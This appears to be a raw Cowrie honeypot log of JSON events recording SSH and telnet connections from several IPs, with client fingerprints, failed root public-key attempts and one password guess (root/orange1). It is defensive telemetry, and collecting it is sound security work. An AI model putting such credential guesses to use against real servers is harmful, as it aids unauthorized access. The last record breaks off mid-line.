{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:45:2d:59:08:7d:e1:0d:31:11:8b:01:c0:3b:49:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC50AmHUoKMv+nCjxrPgxW4eGj4UXuDxxK9ItApIL5T2ECtx3pjOafFQqC7KARa0+pGvRWuJBdCGzPUe9YBznUSvEoUvKRqRLKn8mvn7SNsqs7lMpk8H92y5p70NXRs2ifh+SM2/34VcWeIwQ03Rc+nEou4CaoixQyLkDf0zYpsa8Q0HtqzedcFAImUyfxNbQoIuHwcKhc324rECMs2qyXAarPJ6uFiHhO36FlnlGILA79kKHc2ms6cXt7u1uvgruvBqkVhuaMXIwLaHpTY4+OssTsJfMnbtfxUknHwIXNvzsuJmekwKrHADPFvpeJpuhTvruJo32Lu0wFYAMAd30kZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:45:2d:59:08:7d:e1:0d:31:11:8b:01:c0:3b:49:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.249911Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:45:2d:59:08:7d:e1:0d:31:11:8b:01:c0:3b:49:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC50AmHUoKMv+nCjxrPgxW4eGj4UXuDxxK9ItApIL5T2ECtx3pjOafFQqC7KARa0+pGvRWuJBdCGzPUe9YBznUSvEoUvKRqRLKn8mvn7SNsqs7lMpk8H92y5p70NXRs2ifh+SM2/34VcWeIwQ03Rc+nEou4CaoixQyLkDf0zYpsa8Q0HtqzedcFAImUyfxNbQoIuHwcKhc324rECMs2qyXAarPJ6uFiHhO36FlnlGILA79kKHc2ms6cXt7u1uvgruvBqkVhuaMXIwLaHpTY4+OssTsJfMnbtfxUknHwIXNvzsuJmekwKrHADPFvpeJpuhTvruJo32Lu0wFYAMAd30kZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.254003Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:e3:c6:7a:99:db:dc:49:c3:3b:02:35:7b:75:6f:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfOrdN/mGeazghm0XqHFj1HROorQ166NKgX/vJtjkdT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6b:e3:c6:7a:99:db:dc:49:c3:3b:02:35:7b:75:6f:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.351501Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:e3:c6:7a:99:db:dc:49:c3:3b:02:35:7b:75:6f:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfOrdN/mGeazghm0XqHFj1HROorQ166NKgX/vJtjkdT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.355260Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:ac:35:2e:76:94:78:d1:e9:2e:46:8f:f4:16:83:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqeHc4FtNuzjRYZ62ISocfJCNbyM4gnGHR4tEOv69X3vWJkO53EU9WK8PtnlKuTL4/tMD5zlEpAMYCdHmXwTIOtnVRlpwgPmXHS5UV1UVXbgs7qhFYgbkKhOC9MbtZFGEUDCSyAn4gDmWELz36AymC6odpzVCxIcTsna0gsxzc8zIUGx2s7aCc3iNEeC+6HJ6fNELm0G+ftT3DMg/fFg6MPvVIY1wOj0/qeWgTsz9hb5DLb8ZBnBKUn166SeEyGW7nRbIBkwq8ZeIqwKkDfjMcvwMdZCf8n5WN9+ChabdMKbwwtledl+oopooVO0Mf7u5zsmxvpP0e0SIn+x+Siaa1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:ac:35:2e:76:94:78:d1:e9:2e:46:8f:f4:16:83:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.452933Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:ac:35:2e:76:94:78:d1:e9:2e:46:8f:f4:16:83:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqeHc4FtNuzjRYZ62ISocfJCNbyM4gnGHR4tEOv69X3vWJkO53EU9WK8PtnlKuTL4/tMD5zlEpAMYCdHmXwTIOtnVRlpwgPmXHS5UV1UVXbgs7qhFYgbkKhOC9MbtZFGEUDCSyAn4gDmWELz36AymC6odpzVCxIcTsna0gsxzc8zIUGx2s7aCc3iNEeC+6HJ6fNELm0G+ftT3DMg/fFg6MPvVIY1wOj0/qeWgTsz9hb5DLb8ZBnBKUn166SeEyGW7nRbIBkwq8ZeIqwKkDfjMcvwMdZCf8n5WN9+ChabdMKbwwtledl+oopooVO0Mf7u5zsmxvpP0e0SIn+x+Siaa1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.457077Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:1a:a8:d2:a3:18:9c:36:a4:13:3a:f3:4c:35:6c:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0aeAg0Dfrwd/OlLT+obV5f2RhniuyC4vhLeZdIsmP47LOsc8n34/b3UNifJgqtge0pgOa4Mzn/ao1BJURov3sqSneB92HLY417ki5cEYI7PwCo0DtBjOz1VL77SlZiIZW8ccjbfq7ZhKzoAlP909wMEbr5gtEnIUwvzMjR5MehbT23r9G7O06xFiMPBqRn80/vAnzC0UsTu0IT3qVwi5Nw3Kh/Mt8ihr7lgY2/eAoOojeeCD051lkFuYQZNO8xPSCjBzJOew7+s89+QlqlUUucbl2AhWc80noRyWr/DxURELEBh0jW7RpaM6zxZbioab99wFgNh8cIYcMo2p85qhmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:1a:a8:d2:a3:18:9c:36:a4:13:3a:f3:4c:35:6c:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.554688Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:1a:a8:d2:a3:18:9c:36:a4:13:3a:f3:4c:35:6c:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0aeAg0Dfrwd/OlLT+obV5f2RhniuyC4vhLeZdIsmP47LOsc8n34/b3UNifJgqtge0pgOa4Mzn/ao1BJURov3sqSneB92HLY417ki5cEYI7PwCo0DtBjOz1VL77SlZiIZW8ccjbfq7ZhKzoAlP909wMEbr5gtEnIUwvzMjR5MehbT23r9G7O06xFiMPBqRn80/vAnzC0UsTu0IT3qVwi5Nw3Kh/Mt8ihr7lgY2/eAoOojeeCD051lkFuYQZNO8xPSCjBzJOew7+s89+QlqlUUucbl2AhWc80noRyWr/DxURELEBh0jW7RpaM6zxZbioab99wFgNh8cIYcMo2p85qhmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.558668Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:91:cc:28:5b:c2:4e:3b:1f:b9:7f:fc:d4:63:39:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAocFZfTvVa1OFWAwfpe+N1BaNIkO9paWJpMaZtBbg3lU/OpmRSFsUCdQnjoau072AOiICYUq0HfjGWSTOP4fvoJlI8EiOFYt1/z4l2HtIfuq53+xBs86SBGEdZ0fRAJZ+W9vLXhoMpsVlNpvRQu7DAUjYWjI+Hi4+IqD0ZzlGUg4Ho8kM//+yPU2m0CBp22PehySM/7koaoAGVoS3cWvPj4g2CGECL9KV5/ZmUSNUYYTaoxb57EZma1jJjQ3P5QuzhGFsQWfu27wLmIrwfijKAQGXbCOxrkRvxgp3quBcHJsK5yMy+addT9AG8WhHgVss8MOeGbnbwCjCTGdsKwPQtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:91:cc:28:5b:c2:4e:3b:1f:b9:7f:fc:d4:63:39:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.658924Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:91:cc:28:5b:c2:4e:3b:1f:b9:7f:fc:d4:63:39:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAocFZfTvVa1OFWAwfpe+N1BaNIkO9paWJpMaZtBbg3lU/OpmRSFsUCdQnjoau072AOiICYUq0HfjGWSTOP4fvoJlI8EiOFYt1/z4l2HtIfuq53+xBs86SBGEdZ0fRAJZ+W9vLXhoMpsVlNpvRQu7DAUjYWjI+Hi4+IqD0ZzlGUg4Ho8kM//+yPU2m0CBp22PehySM/7koaoAGVoS3cWvPj4g2CGECL9KV5/ZmUSNUYYTaoxb57EZma1jJjQ3P5QuzhGFsQWfu27wLmIrwfijKAQGXbCOxrkRvxgp3quBcHJsK5yMy+addT9AG8WhHgVss8MOeGbnbwCjCTGdsKwPQtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.662750Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00167036056519,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.699328Z","src_ip":"152.42.224.71","session":"c9cc14f639fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:51.759780Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.345242738723755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:52.556702Z","src_ip":"152.42.224.71","session":"6cab995f3644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.371516704559326,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:52.560705Z","src_ip":"152.42.224.71","session":"d61c17cdb7fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.17167115211487,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:55.001147Z","src_ip":"152.42.224.71","session":"e604ef3d279d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46840,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d279dac396","protocol":"telnet","message":"New connection: 152.42.224.71:46840 (10.17.0.5:23) [session: a4d279dac396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:55.699667Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57870,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac9898135b1","protocol":"telnet","message":"New connection: 152.42.224.71:57870 (10.17.0.5:23) [session: eac9898135b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:57.183102Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":41482,"dst_ip":"10.17.0.5","dst_port":22,"session":"255ea54ac855","protocol":"ssh","message":"New connection: 81.9.145.130:41482 (10.17.0.5:22) [session: 255ea54ac855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:58.823538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:58.828891Z","src_ip":"81.9.145.130","session":"255ea54ac855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:58.948737Z","src_ip":"81.9.145.130","session":"255ea54ac855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.70965051651001,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:59.160655Z","src_ip":"152.42.224.71","session":"687039caf135","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"orange1","message":"login attempt [root/orange1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:59.444775Z","src_ip":"81.9.145.130","session":"255ea54ac855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:00.569000Z","src_ip":"81.9.145.130","session":"255ea54ac855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.27659368515015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:01.370381Z","src_ip":"152.42.224.71","session":"8a6925d1b201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.53798770904541,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:08.731660Z","src_ip":"152.42.224.71","session":"3487938ff629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54986,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48c3a530d67","protocol":"telnet","message":"New connection: 152.42.224.71:54986 (10.17.0.5:23) [session: c48c3a530d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:09.504500Z"}
{"eventid":"cowrie.session.closed","duration":116.57640099525452,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:09.795218Z","src_ip":"152.42.224.71","session":"cbc1aeb6dac5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54990,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b25177f0803","protocol":"telnet","message":"New connection: 152.42.224.71:54990 (10.17.0.5:23) [session: 0b25177f0803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:10.676807Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54994,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dff098a91ab","protocol":"telnet","message":"New connection: 152.42.224.71:54994 (10.17.0.5:23) [session: 2dff098a91ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:10.937640Z"}
{"eventid":"cowrie.session.closed","duration":25.776942253112793,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:13.436762Z","src_ip":"152.42.224.71","session":"8ca10a9ec511","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55008,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9be67d22c07","protocol":"telnet","message":"New connection: 152.42.224.71:55008 (10.17.0.5:23) [session: f9be67d22c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:13.669110Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55024,"dst_ip":"10.17.0.5","dst_port":23,"session":"768b70a390cb","protocol":"telnet","message":"New connection: 152.42.224.71:55024 (10.17.0.5:23) [session: 768b70a390cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:14.453815Z"}
{"eventid":"cowrie.session.closed","duration":120.00221061706543,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:15.837134Z","src_ip":"152.42.224.71","session":"8fc9e768c17c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49846,"dst_ip":"10.17.0.5","dst_port":23,"session":"0092a68f9b16","protocol":"telnet","message":"New connection: 152.42.224.71:49846 (10.17.0.5:23) [session: 0092a68f9b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:16.407240Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49852,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a752d45481","protocol":"telnet","message":"New connection: 152.42.224.71:49852 (10.17.0.5:23) [session: 51a752d45481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:24.571652Z"}
{"eventid":"cowrie.session.closed","duration":55.3248336315155,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:27.121673Z","src_ip":"152.42.224.71","session":"bdf26f13a6f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51004,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5f27d5ec0c","protocol":"telnet","message":"New connection: 152.42.224.71:51004 (10.17.0.5:23) [session: fe5f27d5ec0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:28.154269Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51010,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e0b96c266f","protocol":"telnet","message":"New connection: 152.42.224.71:51010 (10.17.0.5:23) [session: f0e0b96c266f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:28.233561Z"}
{"eventid":"cowrie.session.closed","duration":47.903064012527466,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:29.106782Z","src_ip":"152.42.224.71","session":"e4a0a95f4583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51022,"dst_ip":"10.17.0.5","dst_port":23,"session":"efece26a6127","protocol":"telnet","message":"New connection: 152.42.224.71:51022 (10.17.0.5:23) [session: efece26a6127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:30.542864Z"}
{"eventid":"cowrie.session.closed","duration":14.50391936302185,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:30.911052Z","src_ip":"152.42.224.71","session":"0092a68f9b16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.41506052017212,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:32.083956Z","src_ip":"152.42.224.71","session":"f9be67d22c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.391868114471436,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:32.091402Z","src_ip":"152.42.224.71","session":"a4d279dac396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51034,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4993dbf8277","protocol":"telnet","message":"New connection: 152.42.224.71:51034 (10.17.0.5:23) [session: c4993dbf8277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:33.060986Z"}
{"eventid":"cowrie.session.closed","duration":25.594547033309937,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:36.532102Z","src_ip":"152.42.224.71","session":"2dff098a91ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53798,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b8f28061da0","protocol":"telnet","message":"New connection: 152.42.224.71:53798 (10.17.0.5:23) [session: 7b8f28061da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:37.695024Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53800,"dst_ip":"10.17.0.5","dst_port":23,"session":"f479ee21030b","protocol":"telnet","message":"New connection: 152.42.224.71:53800 (10.17.0.5:23) [session: f479ee21030b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:42.417431Z"}
{"eventid":"cowrie.session.closed","duration":48.05241250991821,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:45.235431Z","src_ip":"152.42.224.71","session":"eac9898135b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":105.83191680908203,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:52.748226Z","src_ip":"152.42.224.71","session":"15fb65e3cdbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":41780,"dst_ip":"159.203.135.109","dst_port":22,"session":"766a50632117","protocol":"ssh","message":"New connection: 47.237.167.49:41780 (159.203.135.109:22) [session: 766a50632117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:53.067718Z"}
{"eventid":"cowrie.session.closed","duration":46.68011808395386,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:56.184495Z","src_ip":"152.42.224.71","session":"c48c3a530d67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00171184539795,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:58.806075Z","src_ip":"152.42.224.71","session":"844c9f523800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178786516189575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:58:59.412268Z","src_ip":"152.42.224.71","session":"f0e0b96c266f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7c396d0167b","protocol":"telnet","message":"New connection: 152.42.224.71:49086 (10.17.0.5:23) [session: c7c396d0167b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:02.553574Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":47460,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac1f73b13be1","protocol":"ssh","message":"New connection: 37.233.85.71:47460 (159.203.135.109:22) [session: ac1f73b13be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:02.618604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:02.623746Z","src_ip":"37.233.85.71","session":"ac1f73b13be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh